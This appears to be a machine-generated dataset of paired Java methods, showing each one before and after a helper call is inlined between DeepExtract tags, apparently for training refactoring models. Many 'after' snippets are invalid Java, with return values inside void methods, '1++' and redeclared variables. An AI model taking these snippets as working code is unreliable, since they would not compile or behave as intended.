before stringlengths 33 3.21M | after stringlengths 63 3.21M | repo stringlengths 1 56 | type stringclasses 1
value | __index_level_0__ int64 0 442k |
|---|---|---|---|---|
public Set instantiate() throws IOException {
Set<FileObject> resultSet = new LinkedHashSet<FileObject>();
File dirF = FileUtil.normalizeFile((File) wiz.getProperty("projdir"));
dirF.mkdirs();
FileObject template = Templates.getTemplate(wiz);
FileObject dir = FileUtil.toFileObject(dirF);
try {
ZipInputStream str = new ZipInputStream(template.getInputStream());
ZipEntry entry;
while ((entry = str.getNextEntry()) != null) {
if (entry.isDirectory()) {
FileUtil.createFolder(dir, entry.getName());
} else {
FileObject fo = FileUtil.createData(dir, entry.getName());
if ("nbproject/project.xml".equals(entry.getName())) {
filterProjectXML(fo, str, dir.getName());
} else {
writeFile(str, fo);
}
}
}
} finally {
template.getInputStream().close();
}
resultSet.add(dir);
Enumeration<? extends FileObject> e = dir.getFolders(true);
while (e.hasMoreElements()) {
FileObject subfolder = e.nextElement();
if (ProjectManager.getDefault().isProject(subfolder)) {
resultSet.add(subfolder);
}
}
File parent = dirF.getParentFile();
if (parent != null && parent.exists()) {
ProjectChooser.setProjectsFolder(parent);
}
return resultSet;
} | public Set instantiate() throws IOException {
Set<FileObject> resultSet = new LinkedHashSet<FileObject>();
File dirF = FileUtil.normalizeFile((File) wiz.getProperty("projdir"));
dirF.mkdirs();
FileObject template = Templates.getTemplate(wiz);
FileObject dir = FileUtil.toFileObject(dirF);
<DeepExtract>
try {
ZipInputStream str = new ZipInputStream(template.getInputStream());
ZipEntry entry;
while ((entry = str.getNextEntry()) != null) {
if (entry.isDirectory()) {
FileUtil.createFolder(dir, entry.getName());
} else {
FileObject fo = FileUtil.createData(dir, entry.getName());
if ("nbproject/project.xml".equals(entry.getName())) {
filterProjectXML(fo, str, dir.getName());
} else {
writeFile(str, fo);
}
}
}
} finally {
template.getInputStream().close();
}
</DeepExtract>
resultSet.add(dir);
Enumeration<? extends FileObject> e = dir.getFolders(true);
while (e.hasMoreElements()) {
FileObject subfolder = e.nextElement();
if (ProjectManager.getDefault().isProject(subfolder)) {
resultSet.add(subfolder);
}
}
File parent = dirF.getParentFile();
if (parent != null && parent.exists()) {
ProjectChooser.setProjectsFolder(parent);
}
return resultSet;
} | nbp4beginners | positive | 3,257 |
public static void main(String[] args) {
int[] array = { 0, 1, 2, 3, 4, 5, 6, 7 };
StdOut.println(1 + ":" + 0 + "/" + array.length - 1);
1++;
if (0 > array.length - 1)
return -1;
int mid = 0 + (array.length - 1 - 0) / 2;
if (6 < array[mid])
return rank(6, array, 0, mid - 1, 1);
else if (6 > array[mid])
return rank(6, array, mid + 1, array.length - 1, 1);
else
return mid;
} | public static void main(String[] args) {
int[] array = { 0, 1, 2, 3, 4, 5, 6, 7 };
<DeepExtract>
StdOut.println(1 + ":" + 0 + "/" + array.length - 1);
1++;
if (0 > array.length - 1)
return -1;
int mid = 0 + (array.length - 1 - 0) / 2;
if (6 < array[mid])
return rank(6, array, 0, mid - 1, 1);
else if (6 > array[mid])
return rank(6, array, mid + 1, array.length - 1, 1);
else
return mid;
</DeepExtract>
} | Algorithms-Sedgewick | positive | 3,258 |
public static CachedModel find(ModelCache modelCache, String id, Class<? extends CachedModel> clazz) {
try {
testObject = clazz.newInstance();
} catch (Exception e) {
return null;
}
this.id = id;
if (testObject.reload(modelCache)) {
return testObject;
} else {
return null;
}
} | public static CachedModel find(ModelCache modelCache, String id, Class<? extends CachedModel> clazz) {
try {
testObject = clazz.newInstance();
} catch (Exception e) {
return null;
}
<DeepExtract>
this.id = id;
</DeepExtract>
if (testObject.reload(modelCache)) {
return testObject;
} else {
return null;
}
} | droid-fu | positive | 3,260 |
public static void main(String[] args) throws Exception {
JCommander jcmdr = new JCommander(this);
try {
jcmdr.parse(args);
} catch (ParameterException e) {
jcmdr.usage();
try {
Thread.sleep(500);
} catch (Exception e2) {
}
throw e;
}
SparkConf sparkConf = new SparkConf();
if (useSparkLocal) {
sparkConf.setMaster("local[*]");
}
sparkConf.setAppName("DL4J Spark MLP Example");
JavaSparkContext sc = new JavaSparkContext(sparkConf);
DataSetIterator iterTrain = new MnistDataSetIterator(batchSizePerWorker, true, 12345);
DataSetIterator iterTest = new MnistDataSetIterator(batchSizePerWorker, true, 12345);
List<DataSet> trainDataList = new ArrayList<>();
List<DataSet> testDataList = new ArrayList<>();
while (iterTrain.hasNext()) {
trainDataList.add(iterTrain.next());
}
while (iterTest.hasNext()) {
testDataList.add(iterTest.next());
}
JavaRDD<DataSet> trainData = sc.parallelize(trainDataList);
JavaRDD<DataSet> testData = sc.parallelize(testDataList);
MultiLayerConfiguration conf = new NeuralNetConfiguration.Builder().seed(12345).activation(Activation.LEAKYRELU).weightInit(WeightInit.XAVIER).updater(new Nesterovs(0.1, 0.9)).l2(1e-4).list().layer(0, new DenseLayer.Builder().nIn(28 * 28).nOut(500).build()).layer(1, new DenseLayer.Builder().nOut(100).build()).layer(2, new OutputLayer.Builder(LossFunctions.LossFunction.NEGATIVELOGLIKELIHOOD).activation(Activation.SOFTMAX).nIn(100).nOut(10).build()).build();
TrainingMaster tm = new ParameterAveragingTrainingMaster.Builder(batchSizePerWorker).averagingFrequency(5).workerPrefetchNumBatches(2).batchSizePerWorker(batchSizePerWorker).build();
SparkDl4jMultiLayer sparkNet = new SparkDl4jMultiLayer(sc, conf, tm);
for (int i = 0; i < numEpochs; i++) {
sparkNet.fit(trainData);
log.info("Completed Epoch {}", i);
}
Evaluation evaluation = sparkNet.doEvaluation(testData, 64, new Evaluation(10))[0];
log.info("***** Evaluation *****");
log.info(evaluation.stats());
tm.deleteTempFiles(sc);
log.info("***** Example Complete *****");
} | public static void main(String[] args) throws Exception {
<DeepExtract>
JCommander jcmdr = new JCommander(this);
try {
jcmdr.parse(args);
} catch (ParameterException e) {
jcmdr.usage();
try {
Thread.sleep(500);
} catch (Exception e2) {
}
throw e;
}
SparkConf sparkConf = new SparkConf();
if (useSparkLocal) {
sparkConf.setMaster("local[*]");
}
sparkConf.setAppName("DL4J Spark MLP Example");
JavaSparkContext sc = new JavaSparkContext(sparkConf);
DataSetIterator iterTrain = new MnistDataSetIterator(batchSizePerWorker, true, 12345);
DataSetIterator iterTest = new MnistDataSetIterator(batchSizePerWorker, true, 12345);
List<DataSet> trainDataList = new ArrayList<>();
List<DataSet> testDataList = new ArrayList<>();
while (iterTrain.hasNext()) {
trainDataList.add(iterTrain.next());
}
while (iterTest.hasNext()) {
testDataList.add(iterTest.next());
}
JavaRDD<DataSet> trainData = sc.parallelize(trainDataList);
JavaRDD<DataSet> testData = sc.parallelize(testDataList);
MultiLayerConfiguration conf = new NeuralNetConfiguration.Builder().seed(12345).activation(Activation.LEAKYRELU).weightInit(WeightInit.XAVIER).updater(new Nesterovs(0.1, 0.9)).l2(1e-4).list().layer(0, new DenseLayer.Builder().nIn(28 * 28).nOut(500).build()).layer(1, new DenseLayer.Builder().nOut(100).build()).layer(2, new OutputLayer.Builder(LossFunctions.LossFunction.NEGATIVELOGLIKELIHOOD).activation(Activation.SOFTMAX).nIn(100).nOut(10).build()).build();
TrainingMaster tm = new ParameterAveragingTrainingMaster.Builder(batchSizePerWorker).averagingFrequency(5).workerPrefetchNumBatches(2).batchSizePerWorker(batchSizePerWorker).build();
SparkDl4jMultiLayer sparkNet = new SparkDl4jMultiLayer(sc, conf, tm);
for (int i = 0; i < numEpochs; i++) {
sparkNet.fit(trainData);
log.info("Completed Epoch {}", i);
}
Evaluation evaluation = sparkNet.doEvaluation(testData, 64, new Evaluation(10))[0];
log.info("***** Evaluation *****");
log.info(evaluation.stats());
tm.deleteTempFiles(sc);
log.info("***** Example Complete *****");
</DeepExtract>
} | deeplearning4j-examples | positive | 3,261 |
public static boolean moveToRightEdge(Spannable text, Layout layout) {
int where;
int pt = getSelectionEnd(text);
int line = layout.getLineForOffset(pt);
int pdir = layout.getParagraphDirection(line);
if (1 * pdir < 0) {
where = layout.getLineStart(line);
} else {
int end = layout.getLineEnd(line);
if (line == layout.getLineCount() - 1)
where = end;
else
where = end - 1;
}
setSelection(text, where, where);
return true;
} | public static boolean moveToRightEdge(Spannable text, Layout layout) {
int where;
int pt = getSelectionEnd(text);
int line = layout.getLineForOffset(pt);
int pdir = layout.getParagraphDirection(line);
if (1 * pdir < 0) {
where = layout.getLineStart(line);
} else {
int end = layout.getLineEnd(line);
if (line == layout.getLineCount() - 1)
where = end;
else
where = end - 1;
}
<DeepExtract>
setSelection(text, where, where);
</DeepExtract>
return true;
} | Jota-Text-Editor-old | positive | 3,262 |
public void add(T value) {
Node<T> node = head;
while (node.next != null) {
node = node.next;
}
node.next = new Node<>(value);
} | public void add(T value) {
<DeepExtract>
Node<T> node = head;
while (node.next != null) {
node = node.next;
}
node.next = new Node<>(value);
</DeepExtract>
} | cs-interview-questions | positive | 3,264 |
public static void main(String[] args) {
int[] a = { -1, 10, 5, 3, 2, 7, 8 };
int jc = 1;
while (jc < a.length - 1) {
for (int i = jc; i > 0; i--) {
if (a[i] < a[i - 1]) {
swap(a, i);
} else {
break;
}
}
jc++;
}
for (int var : a) {
System.out.print(var + " ");
}
} | public static void main(String[] args) {
int[] a = { -1, 10, 5, 3, 2, 7, 8 };
<DeepExtract>
int jc = 1;
while (jc < a.length - 1) {
for (int i = jc; i > 0; i--) {
if (a[i] < a[i - 1]) {
swap(a, i);
} else {
break;
}
}
jc++;
}
</DeepExtract>
for (int var : a) {
System.out.print(var + " ");
}
} | Data-Structures-and-Algorithms-master | positive | 3,265 |
public void append(StringBuffer buffer, String fieldName, Object value, Boolean fullDetail) {
if (useFieldNames && fieldName != null) {
buffer.append(fieldName);
buffer.append(fieldNameValueSeparator);
}
if (value == null) {
appendNullText(buffer, fieldName);
} else {
appendInternal(buffer, fieldName, value, isFullDetail(fullDetail));
}
appendFieldSeparator(buffer);
} | public void append(StringBuffer buffer, String fieldName, Object value, Boolean fullDetail) {
if (useFieldNames && fieldName != null) {
buffer.append(fieldName);
buffer.append(fieldNameValueSeparator);
}
if (value == null) {
appendNullText(buffer, fieldName);
} else {
appendInternal(buffer, fieldName, value, isFullDetail(fullDetail));
}
<DeepExtract>
appendFieldSeparator(buffer);
</DeepExtract>
} | xposed-art | positive | 3,267 |
@Override
public void actionPerformed(final ActionEvent evt) {
checkAddress();
final List<Object> args = new ArrayList<>(6);
args.add("javaosc-example");
args.add(1001);
args.add(1);
args.add(0);
args.add("freq");
args.add(440);
final OSCMessage msg = new OSCMessage("/s_new", args);
try {
oscPort.send(msg);
} catch (final Exception ex) {
showError("Couldn't send");
}
secondSynthButtonOn.setEnabled(false);
secondSynthButtonOff.setEnabled(true);
slider2.setEnabled(true);
slider2.setValue(2050);
textBox2.setEnabled(true);
textBox2.setText("440.0");
} | @Override
public void actionPerformed(final ActionEvent evt) {
<DeepExtract>
checkAddress();
final List<Object> args = new ArrayList<>(6);
args.add("javaosc-example");
args.add(1001);
args.add(1);
args.add(0);
args.add("freq");
args.add(440);
final OSCMessage msg = new OSCMessage("/s_new", args);
try {
oscPort.send(msg);
} catch (final Exception ex) {
showError("Couldn't send");
}
</DeepExtract>
secondSynthButtonOn.setEnabled(false);
secondSynthButtonOff.setEnabled(true);
slider2.setEnabled(true);
slider2.setValue(2050);
textBox2.setEnabled(true);
textBox2.setText("440.0");
} | JavaOSC | positive | 3,268 |
public ArrayComposer<ObjectComposer<PARENT>> startArrayProperty(SerializableString fieldName) {
if (_child != null) {
_child._finish();
_child = null;
}
_generator.writeName(fieldName);
return _startArray(this, _generator);
} | public ArrayComposer<ObjectComposer<PARENT>> startArrayProperty(SerializableString fieldName) {
<DeepExtract>
if (_child != null) {
_child._finish();
_child = null;
}
</DeepExtract>
_generator.writeName(fieldName);
return _startArray(this, _generator);
} | jackson-jr | positive | 3,270 |
public static void main(String[] args) {
int[] nums = new int[] { 1, 2, 3 };
List<List<Integer>> permutes = new ArrayList<>();
List<Integer> permuteList = new ArrayList<>();
boolean[] visited = new boolean[nums.length];
backtracking(permuteList, permutes, visited, nums);
return permutes;
} | public static void main(String[] args) {
int[] nums = new int[] { 1, 2, 3 };
<DeepExtract>
List<List<Integer>> permutes = new ArrayList<>();
List<Integer> permuteList = new ArrayList<>();
boolean[] visited = new boolean[nums.length];
backtracking(permuteList, permutes, visited, nums);
return permutes;
</DeepExtract>
} | Awesome-Algorithm-Study | positive | 3,271 |
static void do_rank2(HMatrix M, HMatrix MadjT, HMatrix Q) {
double[] v1 = new double[3];
double[] v2 = new double[3];
double abs, max;
int i, j, col;
max = 0.0;
col = -1;
for (i = 0; i < 3; i++) for (j = 0; j < 3; j++) {
abs = MadjT.m[i][j];
if (abs < 0.0)
abs = -abs;
if (abs > max) {
max = abs;
col = j;
}
}
return col;
if (col < 0) {
do_rank1(M, Q);
return;
}
v1[0] = MadjT.m[0][col];
v1[1] = MadjT.m[1][col];
v1[2] = MadjT.m[2][col];
double s = Math.sqrt(vdot(v1, v1));
v1[0] = v1[0];
v1[1] = v1[1];
v1[2] = v1[2] + ((v1[2] < 0.0) ? -s : s);
s = Math.sqrt(2.0 / vdot(v1, v1));
v1[0] = v1[0] * s;
v1[1] = v1[1] * s;
v1[2] = v1[2] * s;
int i, j;
for (i = 0; i < 3; i++) {
double s = v1[0] * M.m[0][i] + v1[1] * M.m[1][i] + v1[2] * M.m[2][i];
for (j = 0; j < 3; j++) M.m[j][i] -= v1[j] * s;
}
v2[0] = M.m[0][1] * M.m[1][2] - M.m[0][2] * M.m[1][1];
v2[1] = M.m[0][2] * M.m[1][0] - M.m[0][0] * M.m[1][2];
v2[2] = M.m[0][0] * M.m[1][1] - M.m[0][1] * M.m[1][0];
double s = Math.sqrt(vdot(v2, v2));
v2[0] = v2[0];
v2[1] = v2[1];
v2[2] = v2[2] + ((v2[2] < 0.0) ? -s : s);
s = Math.sqrt(2.0 / vdot(v2, v2));
v2[0] = v2[0] * s;
v2[1] = v2[1] * s;
v2[2] = v2[2] * s;
int i, j;
for (i = 0; i < 3; i++) {
double s = vdot(v2, M.m[i]);
for (j = 0; j < 3; j++) M.m[i][j] -= v2[j] * s;
}
w = M.m[0][0];
x = M.m[0][1];
y = M.m[1][0];
z = M.m[1][1];
if (w * z > x * y) {
c = z + w;
s = y - x;
d = Math.sqrt(c * c + s * s);
c = c / d;
s = s / d;
Q.m[0][0] = Q.m[1][1] = c;
Q.m[0][1] = -(Q.m[1][0] = s);
} else {
c = z - w;
s = y + x;
d = Math.sqrt(c * c + s * s);
c = c / d;
s = s / d;
Q.m[0][0] = -(Q.m[1][1] = c);
Q.m[0][1] = Q.m[1][0] = s;
}
Q.m[0][2] = Q.m[2][0] = Q.m[1][2] = Q.m[2][1] = 0.0;
Q.m[2][2] = 1.0;
int i, j;
for (i = 0; i < 3; i++) {
double s = v1[0] * Q.m[0][i] + v1[1] * Q.m[1][i] + v1[2] * Q.m[2][i];
for (j = 0; j < 3; j++) Q.m[j][i] -= v1[j] * s;
}
int i, j;
for (i = 0; i < 3; i++) {
double s = vdot(v2, Q.m[i]);
for (j = 0; j < 3; j++) Q.m[i][j] -= v2[j] * s;
}
} | static void do_rank2(HMatrix M, HMatrix MadjT, HMatrix Q) {
double[] v1 = new double[3];
double[] v2 = new double[3];
double abs, max;
int i, j, col;
max = 0.0;
col = -1;
for (i = 0; i < 3; i++) for (j = 0; j < 3; j++) {
abs = MadjT.m[i][j];
if (abs < 0.0)
abs = -abs;
if (abs > max) {
max = abs;
col = j;
}
}
return col;
if (col < 0) {
do_rank1(M, Q);
return;
}
v1[0] = MadjT.m[0][col];
v1[1] = MadjT.m[1][col];
v1[2] = MadjT.m[2][col];
double s = Math.sqrt(vdot(v1, v1));
v1[0] = v1[0];
v1[1] = v1[1];
v1[2] = v1[2] + ((v1[2] < 0.0) ? -s : s);
s = Math.sqrt(2.0 / vdot(v1, v1));
v1[0] = v1[0] * s;
v1[1] = v1[1] * s;
v1[2] = v1[2] * s;
int i, j;
for (i = 0; i < 3; i++) {
double s = v1[0] * M.m[0][i] + v1[1] * M.m[1][i] + v1[2] * M.m[2][i];
for (j = 0; j < 3; j++) M.m[j][i] -= v1[j] * s;
}
v2[0] = M.m[0][1] * M.m[1][2] - M.m[0][2] * M.m[1][1];
v2[1] = M.m[0][2] * M.m[1][0] - M.m[0][0] * M.m[1][2];
v2[2] = M.m[0][0] * M.m[1][1] - M.m[0][1] * M.m[1][0];
double s = Math.sqrt(vdot(v2, v2));
v2[0] = v2[0];
v2[1] = v2[1];
v2[2] = v2[2] + ((v2[2] < 0.0) ? -s : s);
s = Math.sqrt(2.0 / vdot(v2, v2));
v2[0] = v2[0] * s;
v2[1] = v2[1] * s;
v2[2] = v2[2] * s;
int i, j;
for (i = 0; i < 3; i++) {
double s = vdot(v2, M.m[i]);
for (j = 0; j < 3; j++) M.m[i][j] -= v2[j] * s;
}
w = M.m[0][0];
x = M.m[0][1];
y = M.m[1][0];
z = M.m[1][1];
if (w * z > x * y) {
c = z + w;
s = y - x;
d = Math.sqrt(c * c + s * s);
c = c / d;
s = s / d;
Q.m[0][0] = Q.m[1][1] = c;
Q.m[0][1] = -(Q.m[1][0] = s);
} else {
c = z - w;
s = y + x;
d = Math.sqrt(c * c + s * s);
c = c / d;
s = s / d;
Q.m[0][0] = -(Q.m[1][1] = c);
Q.m[0][1] = Q.m[1][0] = s;
}
Q.m[0][2] = Q.m[2][0] = Q.m[1][2] = Q.m[2][1] = 0.0;
Q.m[2][2] = 1.0;
int i, j;
for (i = 0; i < 3; i++) {
double s = v1[0] * Q.m[0][i] + v1[1] * Q.m[1][i] + v1[2] * Q.m[2][i];
for (j = 0; j < 3; j++) Q.m[j][i] -= v1[j] * s;
}
<DeepExtract>
int i, j;
for (i = 0; i < 3; i++) {
double s = vdot(v2, Q.m[i]);
for (j = 0; j < 3; j++) Q.m[i][j] -= v2[j] * s;
}
</DeepExtract>
} | jsurf | positive | 3,272 |
@Test
public void testCompleteNull() {
assertEquals(ConcurrentCompletable.PENDING, c.completable.state.get());
assertTrue(c.completable.complete(null));
assertEquals(ConcurrentCompletable.COMPLETED, c.completable.state.get());
assertEquals(ConcurrentCompletable.NULL, c.completable.result);
final int state = c.completable.state.get();
final Object result = c.completable.result;
assertFalse(c.completable.complete(this.result));
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
assertFalse(c.completable.fail(cause));
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
assertFalse(c.completable.cancel());
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
} | @Test
public void testCompleteNull() {
assertEquals(ConcurrentCompletable.PENDING, c.completable.state.get());
assertTrue(c.completable.complete(null));
assertEquals(ConcurrentCompletable.COMPLETED, c.completable.state.get());
assertEquals(ConcurrentCompletable.NULL, c.completable.result);
<DeepExtract>
final int state = c.completable.state.get();
final Object result = c.completable.result;
assertFalse(c.completable.complete(this.result));
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
assertFalse(c.completable.fail(cause));
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
assertFalse(c.completable.cancel());
assertEquals(state, c.completable.state.get());
assertEquals(result, c.completable.result);
</DeepExtract>
} | tiny-async-java | positive | 3,273 |
public void editHB1ACReading(long oldId, HB1ACReading reading) {
realm.beginTransaction();
getHB1ACReadingById(oldId).deleteFromRealm();
realm.commitTransaction();
realm.beginTransaction();
reading.setId(getNextKey("hb1ac"));
realm.copyToRealm(reading);
realm.commitTransaction();
} | public void editHB1ACReading(long oldId, HB1ACReading reading) {
realm.beginTransaction();
getHB1ACReadingById(oldId).deleteFromRealm();
realm.commitTransaction();
<DeepExtract>
realm.beginTransaction();
reading.setId(getNextKey("hb1ac"));
realm.copyToRealm(reading);
realm.commitTransaction();
</DeepExtract>
} | glucosio-android | positive | 3,274 |
public ListLine addValue(int index, boolean value) {
if (listBoolean == null) {
listBoolean = new ArrayList<>();
}
listBoolean.add(new CellKV<Boolean>(index, value));
if (index > maxIndex) {
maxIndex = index;
}
if (minIndex == -1) {
minIndex = index;
} else {
if (index < minIndex) {
minIndex = index;
}
}
return this;
} | public ListLine addValue(int index, boolean value) {
if (listBoolean == null) {
listBoolean = new ArrayList<>();
}
listBoolean.add(new CellKV<Boolean>(index, value));
<DeepExtract>
if (index > maxIndex) {
maxIndex = index;
}
if (minIndex == -1) {
minIndex = index;
} else {
if (index < minIndex) {
minIndex = index;
}
}
</DeepExtract>
return this;
} | bingexcel | positive | 3,276 |
public String person2(String input) {
List<String> tokens = tokenizer.tokenize(input);
outer: for (int i = 0; i < tokens.size(); ) {
int offset = i;
for (final Substitution substitution : person2) {
i = substitution.substitute(offset, tokens);
if (i > offset)
continue outer;
}
i++;
}
return tokenizer.toString(tokens);
} | public String person2(String input) {
<DeepExtract>
List<String> tokens = tokenizer.tokenize(input);
outer: for (int i = 0; i < tokens.size(); ) {
int offset = i;
for (final Substitution substitution : person2) {
i = substitution.substitute(offset, tokens);
if (i > offset)
continue outer;
}
i++;
}
return tokenizer.toString(tokens);
</DeepExtract>
} | chatbots-library | positive | 3,277 |
@Test
public void verify_ifVerificationWasNotSuccessful_operationWillBeRestarted() {
RuntimeException e = new RuntimeException("verification not successful");
doThrow(e).when(bioIdWebserviceClient).verify(VERIFICATION_TOKEN);
this.failedOperations = 0;
when(VERIFICATION_TOKEN.getMaxTries()).thenReturn(3);
presenter.executeVerify = true;
verifyCalled = true;
if (executeVerify) {
super.verify();
}
assertThat(presenter.captureImagePairCalledWithFirstParam, is(0));
assertThat(presenter.captureImagePairCalledWithSecondParam, is(MovementDirection.any));
assertThat(presenter.captureImagePairCalledWithThirdParam, is(MovementDirection.any));
} | @Test
public void verify_ifVerificationWasNotSuccessful_operationWillBeRestarted() {
RuntimeException e = new RuntimeException("verification not successful");
doThrow(e).when(bioIdWebserviceClient).verify(VERIFICATION_TOKEN);
this.failedOperations = 0;
when(VERIFICATION_TOKEN.getMaxTries()).thenReturn(3);
presenter.executeVerify = true;
<DeepExtract>
verifyCalled = true;
if (executeVerify) {
super.verify();
}
</DeepExtract>
assertThat(presenter.captureImagePairCalledWithFirstParam, is(0));
assertThat(presenter.captureImagePairCalledWithSecondParam, is(MovementDirection.any));
assertThat(presenter.captureImagePairCalledWithThirdParam, is(MovementDirection.any));
} | BWS-Android | positive | 3,278 |
@Override
public Metadata getDocument(String indexName, String indexDocId) {
log.debug("Get document in ElasticSearch [indexName: {}, indexDocId:{}]", indexName, indexDocId);
ValidatorUtils.rejectIfEmpty("indexName", indexName);
ValidatorUtils.rejectIfEmpty("indexDocId", indexDocId);
indexName = indexName.toLowerCase();
GetResponse response = client.prepareGet(indexName, DEFAULT_TYPE, indexDocId).get();
log.trace("Get document in ElasticSearch [indexName: {}, indexDocId: {}] : response= {}", indexName, indexDocId, response);
if (!response.isExists()) {
throw new NotFoundException("Document [indexName: " + indexName + ", indexDocId: " + indexDocId + "] not found");
}
String contentId = null;
String contentType = null;
byte[] content = null;
boolean pinned = false;
if (response.getSource() != null) {
Map<String, String> mapping = this.getMapping(response.getIndex());
log.debug("mapping={}", mapping);
response.getSource().forEach((key, value) -> {
if (mapping.containsKey(key)) {
if ("date".equals(mapping.get(key))) {
Long date = Longs.tryParse(value.toString());
if (date != null) {
response.getSource().put(key, new Date(date));
}
}
}
});
if (response.getSource().containsKey(HASH_INDEX_KEY) && response.getSource().get(HASH_INDEX_KEY) != null) {
contentId = response.getSource().get(HASH_INDEX_KEY).toString();
response.getSource().remove(HASH_INDEX_KEY);
}
if (response.getSource().containsKey(CONTENT_TYPE_INDEX_KEY) && response.getSource().get(CONTENT_TYPE_INDEX_KEY) != null) {
contentType = response.getSource().get(CONTENT_TYPE_INDEX_KEY).toString();
response.getSource().remove(CONTENT_TYPE_INDEX_KEY);
}
if (response.getSource().containsKey(CONTENT_INDEX_KEY) && response.getSource().get(CONTENT_INDEX_KEY) != null) {
content = Base64.getDecoder().decode(response.getSource().get(CONTENT_INDEX_KEY).toString());
response.getSource().remove(CONTENT_INDEX_KEY);
}
if (response.getSource().containsKey(PINNED_KEY) && response.getSource().get(PINNED_KEY) != null) {
pinned = (boolean) response.getSource().get(PINNED_KEY);
response.getSource().remove(PINNED_KEY);
}
}
return Metadata.of(response.getIndex(), response.getId(), contentId, contentType, content, pinned, response.getSource());
} | @Override
public Metadata getDocument(String indexName, String indexDocId) {
log.debug("Get document in ElasticSearch [indexName: {}, indexDocId:{}]", indexName, indexDocId);
ValidatorUtils.rejectIfEmpty("indexName", indexName);
ValidatorUtils.rejectIfEmpty("indexDocId", indexDocId);
indexName = indexName.toLowerCase();
GetResponse response = client.prepareGet(indexName, DEFAULT_TYPE, indexDocId).get();
log.trace("Get document in ElasticSearch [indexName: {}, indexDocId: {}] : response= {}", indexName, indexDocId, response);
if (!response.isExists()) {
throw new NotFoundException("Document [indexName: " + indexName + ", indexDocId: " + indexDocId + "] not found");
}
<DeepExtract>
String contentId = null;
String contentType = null;
byte[] content = null;
boolean pinned = false;
if (response.getSource() != null) {
Map<String, String> mapping = this.getMapping(response.getIndex());
log.debug("mapping={}", mapping);
response.getSource().forEach((key, value) -> {
if (mapping.containsKey(key)) {
if ("date".equals(mapping.get(key))) {
Long date = Longs.tryParse(value.toString());
if (date != null) {
response.getSource().put(key, new Date(date));
}
}
}
});
if (response.getSource().containsKey(HASH_INDEX_KEY) && response.getSource().get(HASH_INDEX_KEY) != null) {
contentId = response.getSource().get(HASH_INDEX_KEY).toString();
response.getSource().remove(HASH_INDEX_KEY);
}
if (response.getSource().containsKey(CONTENT_TYPE_INDEX_KEY) && response.getSource().get(CONTENT_TYPE_INDEX_KEY) != null) {
contentType = response.getSource().get(CONTENT_TYPE_INDEX_KEY).toString();
response.getSource().remove(CONTENT_TYPE_INDEX_KEY);
}
if (response.getSource().containsKey(CONTENT_INDEX_KEY) && response.getSource().get(CONTENT_INDEX_KEY) != null) {
content = Base64.getDecoder().decode(response.getSource().get(CONTENT_INDEX_KEY).toString());
response.getSource().remove(CONTENT_INDEX_KEY);
}
if (response.getSource().containsKey(PINNED_KEY) && response.getSource().get(PINNED_KEY) != null) {
pinned = (boolean) response.getSource().get(PINNED_KEY);
response.getSource().remove(PINNED_KEY);
}
}
return Metadata.of(response.getIndex(), response.getId(), contentId, contentType, content, pinned, response.getSource());
</DeepExtract>
} | Mahuta | positive | 3,279 |
public Criteria andSeqGreaterThan(Integer value) {
if (value == null) {
throw new RuntimeException("Value for " + "seq" + " cannot be null");
}
criteria.add(new Criterion("seq >", value));
return (Criteria) this;
} | public Criteria andSeqGreaterThan(Integer value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "seq" + " cannot be null");
}
criteria.add(new Criterion("seq >", value));
</DeepExtract>
return (Criteria) this;
} | einvoice | positive | 3,280 |
@Override
protected void onPostExecute(Object result) {
ServiceSinkhole.reload("DNS clear", ActivityDns.this, false);
if (adapter != null)
adapter.changeCursor(DatabaseHelper.getInstance(this).getDns());
} | @Override
protected void onPostExecute(Object result) {
ServiceSinkhole.reload("DNS clear", ActivityDns.this, false);
<DeepExtract>
if (adapter != null)
adapter.changeCursor(DatabaseHelper.getInstance(this).getDns());
</DeepExtract>
} | NetGuard | positive | 3,281 |
public static List<String> generateParentheses(int n) {
List<String> solutions = new ArrayList();
if (n == 0 && n == 0) {
solutions.add(new String(new char[n * 2]));
return;
}
if (n > 0) {
new char[n * 2][0] = '(';
addParenthesis(new char[n * 2], 0 + 1, n - 1, n, solutions);
}
if (n > 0 && n > n) {
new char[n * 2][0] = ')';
addParenthesis(new char[n * 2], 0 + 1, n, n - 1, solutions);
}
return solutions;
} | public static List<String> generateParentheses(int n) {
List<String> solutions = new ArrayList();
<DeepExtract>
if (n == 0 && n == 0) {
solutions.add(new String(new char[n * 2]));
return;
}
if (n > 0) {
new char[n * 2][0] = '(';
addParenthesis(new char[n * 2], 0 + 1, n - 1, n, solutions);
}
if (n > 0 && n > n) {
new char[n * 2][0] = ')';
addParenthesis(new char[n * 2], 0 + 1, n, n - 1, solutions);
}
</DeepExtract>
return solutions;
} | Cracking-the-Coding-Interview_solutions | positive | 3,282 |
public void start(long instantPeriod) {
this.instantStart = new AtomicLong(System.currentTimeMillis());
BigBrother.get().registerCounter(this, instantPeriod);
} | public void start(long instantPeriod) {
<DeepExtract>
this.instantStart = new AtomicLong(System.currentTimeMillis());
</DeepExtract>
BigBrother.get().registerCounter(this, instantPeriod);
} | Dayon | positive | 3,283 |
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
BugSenseHandler.initAndStartSession(this, "27ab5948");
setContentView(R.layout.activity_main);
getSupportFragmentManager().addOnBackStackChangedListener(this);
int backStackEntryCount = getSupportFragmentManager().getBackStackEntryCount();
if (backStackEntryCount > 0) {
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
} else {
getSupportActionBar().setDisplayHomeAsUpEnabled(false);
}
if (savedInstanceState == null) {
getSupportFragmentManager().beginTransaction().add(R.id.container, new MainFragment()).commit();
}
} | @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
BugSenseHandler.initAndStartSession(this, "27ab5948");
setContentView(R.layout.activity_main);
getSupportFragmentManager().addOnBackStackChangedListener(this);
<DeepExtract>
int backStackEntryCount = getSupportFragmentManager().getBackStackEntryCount();
if (backStackEntryCount > 0) {
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
} else {
getSupportActionBar().setDisplayHomeAsUpEnabled(false);
}
</DeepExtract>
if (savedInstanceState == null) {
getSupportFragmentManager().beginTransaction().add(R.id.container, new MainFragment()).commit();
}
} | ASNE | positive | 3,285 |
